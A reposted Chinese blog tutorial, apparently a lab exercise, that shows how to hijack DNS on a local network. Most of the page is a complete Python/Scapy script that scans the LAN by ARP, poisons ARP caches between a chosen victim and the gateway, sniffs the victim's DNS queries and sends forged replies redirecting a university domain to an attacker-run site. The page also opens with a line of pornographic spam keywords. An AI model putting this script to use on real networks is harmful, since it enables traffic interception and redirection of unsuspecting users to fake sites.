日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > python >内容正文

python

python实现dns劫持_Python程序之DNS劫持

發布時間:2025/3/15 python 20 豆豆
生活随笔 收集整理的這篇文章主要介紹了 python实现dns劫持_Python程序之DNS劫持 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

實驗環境:

虛假網站端:虛擬機Windows?server 2008

攻擊機:Windows?7

靶機端:Windows?10

實驗步驟:

設置虛擬機網絡適配器為橋接模式

虛擬機設備設置

編輯虛擬網絡編輯器

查詢Windows?server 2008的IP地址并搭建自己的網站

? ?

新建一個自己的網站(即攻擊后劫持網站)

編寫DNS劫持代碼

from scapy.all import *

import sys

import os

import re

import time

from threading import Thread

import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

def main(ip1):

print(" ")

#獲取本機上的IP及網關

for line in os.popen("route print"):

s=line.strip()

if s.startswith("0.0.0.0"):

localip=s.split()[3]

gw=s.split()[2]

print("本機IP:%s 網關:%s"%(localip,gw))

break

else:

print("網絡連接不正常!")

os.exit(1)

def scan():

scanip=gw+"/24"

p=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=scanip)

ans,unans=srp(p,timeout=2,verbose=0)

print("一共掃描到%d臺主機:"%len(ans))

for send,recv in ans:

print(recv[Ether].src+"------>"+recv[ARP].psrc)

#對特定網站自動發送dns應答

def dnsposion(p):

weblist=["www.bupt.edu.cn"]

if p.haslayer(DNS):

ip=p[IP]

udp=p[UDP]

dns=p[DNS]

domain=dns.qd.qname.decode()[:-1]

print("收到一個請求 ----->",domain)

if domain in weblist:

#自動發送應答包

nip=IP(src=ip.dst,dst=ip.src)

nudp=UDP(sport=udp.dport,dport=udp.sport)

ndns=DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,rdata=ip1))

send(nip/nudp/ndns)

print("應答:%s -----> %s"%(domain,ip1))

#抓包并保存到文件

def capture(vic,t):

filter1="udp dst port 53 and host "+vic

pkts=sniff(filter=filter1,timeout=t,prn=dnsposion)

fname="p%d.pacp"%int(time.time())

wrpcap(fname,pkts)

print("抓包數據已經存入文件%s。"%fname)

#ARP攻擊

def spoof():

vic=input("請輸入攻擊目標:") #vic被攻擊者s

t=int(input("請輸入攻擊時間(單位:秒):"))

ct=Thread(target=capture,args=(vic,t))

ct.start()

for i in range(5*t):

sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=vic,psrc=gw),verbose=0)

sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=gw,psrc=vic),verbose=0)

time.sleep(0.2)

ct.join()

print("攻擊結束!")

#流量分析

def analy():

os.system("dir *.pcap")

fname=input("請輸入要分析的文件名")

pkts=rdpcap(fname)

#快捷選擇

while 1:

sel=input("請選擇要進行的操作:1、局域網掃描;2、攻擊欺騙;3、流量分析;4、退出\n")

if sel=="1":

scan()

elif sel=="2":

if not gw:

print("請先執行掃描程序!")

else:

spoof()

elif sel=="3":

analy()

elif sel=="4":

print("歡迎下次使用!再見!")

break

else:

print("輸入有誤請重新輸入!")

if __name__=="__main__":

main(sys.argv[1])

Win+R彈出運行界面,找到Routing and RemoteAccess (RemoteAccess)點擊屬性,把啟動類型修改為手動,確定并啟動

(此處為修改攻擊機的服務管理器)

可以開始攻擊

首先進行局域網內存活主機掃描

開始攻擊欺騙

被攻擊后靶機網關情況

可以看到攻擊機的網關和靶機網關已經一致

靶機被欺騙的網站界面

可以看出網站已經變為Windows server 2008中搭建的網站,而不是正確的網站了

正確網站對比圖

總結

以上是生活随笔為你收集整理的python实现dns劫持_Python程序之DNS劫持的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。